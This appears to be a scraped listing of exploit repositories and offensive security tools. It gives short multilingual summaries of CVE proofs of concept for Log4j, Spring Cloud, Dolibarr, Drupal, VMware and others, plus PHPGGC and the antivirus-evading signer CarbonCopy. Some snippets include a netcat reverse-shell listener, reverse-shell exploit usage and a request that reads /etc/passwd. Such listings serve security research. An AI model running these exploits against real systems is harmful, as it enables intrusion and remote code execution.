CVE-2025-66478-Research-Proof-of-Concept

CVE-2025-66478-Ricerca-Proof-of-Concept Panoramica Questo repository contiene la ricerca e un'implementazione proof-of-concept relativa a CVE-2025-66478, una vulnerabilità che interessa specifiche configurazioni di Next.js / React Server Components. Il progetto è stato sviluppato in un ambiente d...

cve-2021-44228

CVE-2021-44228 Dieses Repository stellt eine vereinfachte Simulation des berüchtigten CVE-2021-44228-Problems dar. Neben Systemeigenschaften und anderen Dictionary-Strukturen implementiert Apache Log4j auch die JNDI-Lookup-Funktion aus verschiedenen Gründen. JNDI kann Dienste von einer Reihe von...

RCE-in-Spring-Cloud-CVE-2022-22963

Exploit per RCE in Spring Cloud CVE 2022-22963 Exploit per l'esecuzione remota di comandi CVE-2022-22963 in Spring Cloud Function Vedi i dettagli sulla vulnerabilità qui e qui PoC Esegui netcat sul tuo host: root@kitploit: $ nc -lvnp 9001 Esegui l'exploit esempio con la porta predefinita 9001...

Exploit-for-Dolibarr-17.0.0-CVE-2023-30253

PoC exploit per Dolibarr example: python3 exploit.py http://example.com login password 127.0.0.1 9001 ---Reverse Shell Exploit for Dolibarr = 17.0.0 CVE-2023-30253--- positional arguments: hostname Target hostname username Username of Dolibarr ERP/CRM password Password of Dolibarr ERP/CRM lhost...

CVE-2021-39273-CVE-2021-39274

CVE-2021-39273 Nella versione gratuita di XeroSecurity Sn1per 9.0, durante l'esecuzione dell'applicazione vengono impostati permessi non sicuri 0777, consentendo a un utente non privilegiato di modificare l'applicazione, i moduli e i file di configurazione. Ciò porta all'esecuzione di codice...

CVE-2018-7600

CVE-2018-7600 - Esecuzione remota di codice in Drupal 7 Un'implementazione in Rust dell'exploit CVE-2018-7600 che prende di mira installazioni Drupal 7 vulnerabili = 7.57. Questa CLI riproduce il seguente flusso PoC: avvelena un form renderizzabile in cache tramite il percorso user/password, estr...

cve-2021-1647

CVE-2021-1647 Microsoft Defender Sicherheitslücke für Remotecodeausführung INFO Passwort:infected...

CVE-2014-6287

CVE-2014-6287 - Rejetto HTTP File Server RCE-Exploit Eine Rust-Implementierung des Exploits für CVE-2014-6287, der gegen Rejetto HTTP File Server HFS Versionen 2.3x vor 2.3c gerichtet ist. Überblick über die Schwachstelle CVE-2014-6287 ist eine kritische Schwachstelle zur Remote-Codeausführung im...

phpggc

PHPGGC: PHP Generic Gadget Chains PHPGGC is a library of unserialize payloads along with a tool to generate them, from command line or programmatically. When encountering an unserialize on a website you don't have the code of, or simply when trying to build an exploit, this tool allows you to...

CVE-2023-0297

pyloadCVE-2023-0297poc Eine Code-Injection-Schwachstelle in pyLoad-Versionen vor 0.5.0b3.dev31 führt durch Missbrauch der js2py-Funktionalität zu Pre-Auth-RCE. Verwendung Verwendung von CVE-2023-0297poc.exe: root@kitploit: -f string fileName:IP.txt -u string Beispiel:http://127.0.0.1:8080...

CVE-2017-0199

Toolkit di exploit CVE-2017-0199 - v4.0 Il toolkit di exploit CVE-2017-0199 - v4.0 è un comodo script Python che fornisce a penetration tester e ricercatori di sicurezza un modo rapido ed efficace per testare RCE di Microsoft Office. Può generare un file RTF/PPSX malevolo e consegnare metasploit ...

freddy

Freddy, o Serialização Assassino - Localizador de Bugs de Desserialização Uma extensão do Burp Suite para auxiliar na detecção e exploração de bibliotecas/APIs de serialização. Esta útil extensão foi originalmente desenvolvida por Nick Bloor @nickstadb para a NCC Group e é baseada principalmente ...

CVE-2009-2265

CVE-2009-2265 - RCE tramite Upload di File su Adobe ColdFusion 8 Un'implementazione in Rust del POC per l'exploit CVE-2009-2265, mirato ad Adobe ColdFusion 8. Panoramica della Vulnerabilità Questa vulnerabilità consente a un utente malintenzionato non autenticato di caricare file arbitrari in una...

CVE-2025-49132_HTB_SEASON10

CVE-2025-49132 - Sfruttamento RCE del Pannello Pterodactyl HTB Stagione 10 - Writeup della Macchina Pterodactyl Panoramica Target: Macchina HTB Pterodactyl Difficoltà Media CVE: CVE-2025-49132 Gravità: Critica CVSS 9.8 Tipo di Attacco: Esecuzione Remota di Codice Non Autenticata Affetto: Pannello...

CarbonCopy

CarbonCopy Uno strumento che crea un certificato falsificato di qualsiasi sito web online e firma un eseguibile per l'evasione degli AV. Funziona sia su Windows che su Linux Prerequisiti Per utilizzarlo su Linux, esegui i comandi qui sotto: root@kitploit: apt-get install osslsigncode pip3 install...

VMware-CVE-2022-22954

VMware CVE-2022-22954 Workspace ONE Access Freemarker Serverseitige Template-Injection POC für Vmware CVE-2022-22954 Verwenden Sie diese einzeilige GET-Anfrage!! Dadurch wird cat /etc/passwd ausgeführt...

CVE-2021-21972

CVE-2021-21972 vCenter CVE-2021-21972 के लिए प्रूफ ऑफ कॉन्सेप्ट एक्सप्लॉइट शोध श्रेय: https://swarm.ptsecurity.com/unauth-rce-vmware/, http://noahblog.360.cn/vcenter-6-5-7-0-rce-lou-dong-fen-xi/ विंडोज और यूनिक्स vCenter VCSA लक्ष्यों दोनों पर परीक्षण किया गया। उपयोग हानिरहित रूप से जांचने के लिए...

threatDemos

🚨 Repository di Dimostrazioni di Minacce alla Sicurezza Android Una raccolta completa di prove di concetto di vulnerabilità di sicurezza Android e vettori di attacco Questo repository funge da risorsa educativa che mostra minacce alla sicurezza Android reali e le loro corrispondenti strategie di...

CVE-2022-46169

CVE‑2022‑46169 – Spiegazione e Panoramica del Progetto Cacti Unauthenticated Remote Code Execution Cos'è questo progetto? Questo progetto è un incarico di cybersecurity in cui viene dimostrato CVE‑2022‑46169 : una vulnerabilità critica nella piattaforma open-source di monitoraggio di rete Cacti...

URLextractor

URLextractor Raccolta di informazioni e ricognizione di siti web Utilizzo: ./extractor http://www.hackthissite.org/ Suggerimenti: Colorex: metti colori all'output pip install colorex e usalo come ./extractor http://www.hackthissite.org/ | colorex -g "INFO" -r "ALERT" Tldextract: è utilizzato dall...